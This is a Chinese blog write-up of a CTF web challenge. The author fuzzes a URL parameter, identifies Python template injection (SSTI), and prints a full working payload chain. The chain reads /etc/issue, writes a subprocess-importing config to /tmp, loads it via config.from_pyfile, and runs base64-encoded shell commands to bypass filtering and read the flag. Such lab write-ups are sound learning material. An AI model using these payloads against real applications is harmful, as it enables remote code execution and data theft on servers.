• i春秋Fuzz


    点开只有三个单词plz fuzz parameter

    大概意思就是让我们疯狂尝试参数。。。

    我们通过url尝试传入参数

    ?user=123

    ?name=123

    ?username=123

    ?id=123

    但参数为name时返回正确值

    尝试在这里注入

    。。。。。。

    失败

    但是这里会一直回显name后面的值

    通过dalao们的无限测试后发现这里是python模板注入

     

    再根据别人写的python模板注入的文章来跟着一步步注入

    读版本文件:?name={{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/issue').read() }}

    SSTI漏洞注入:{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('from subprocess import check_output RUNCMD = check_output ') }}   (这将向远程服务器写入一个文件,当编译完成为subprocess模块引入check_output方法,并将其设置指向变量RUNCMD。)

    config对象添加一个新项:?name={{ config.from_pyfile('/tmp/owned.cfg') }}

    通过向SSTI漏洞注入来检测是否成功:?name={{ config['RUNCMD']('/usr/bin/id',shell=True) }}

    成功返回

    小括号单引号中的内容即为我们可以使用cmd执行的代码

    将其改为ls

    可能被拦截了

    base64先加密再解密的方法进行注入(bHMKlsbase64加密)

    ?name={{ config['RUNCMD']('`echo bHMK | base64 -d`',shell=True) }}

    没有返回,尝试ls -al

    ?name={{ config['RUNCMD']('`echo bHMgLWFsCg== | base64 -d`',shell=True) }}

    查看源码获得排列好的文件名

    再查看var/www/html下的文件名

    ?name={{ config['RUNCMD']('`echo bHMgLWFsIC92YXIvd3d3L2h0bWwK | base64 -d`',shell=True) }}

    查看fl4g文件(cat var/www/html/fl4g

    ?name={{ config['RUNCMD']('`echo Y2F0IC92YXIvd3d3L2h0bWwvZmw0Zwo= | base64 -d`',shell=True) }}

    拿到flag

  • 相关阅读:
    Node.js
    EFCore-Migrations
    C#核心语法
    C#编程总结--总目录
    PHP ServerPush
    汉字转拼音
    用五分钟重温委托,匿名方法,Lambda,泛型委托,表达式树
    Sublime Text 3 绝对神器
    多线程学习总结
    分享: 利用Readability解决网页正文提取问题
  • 原文地址:https://www.cnblogs.com/wosun/p/11505905.html
Copyright © 2020-2023  润新知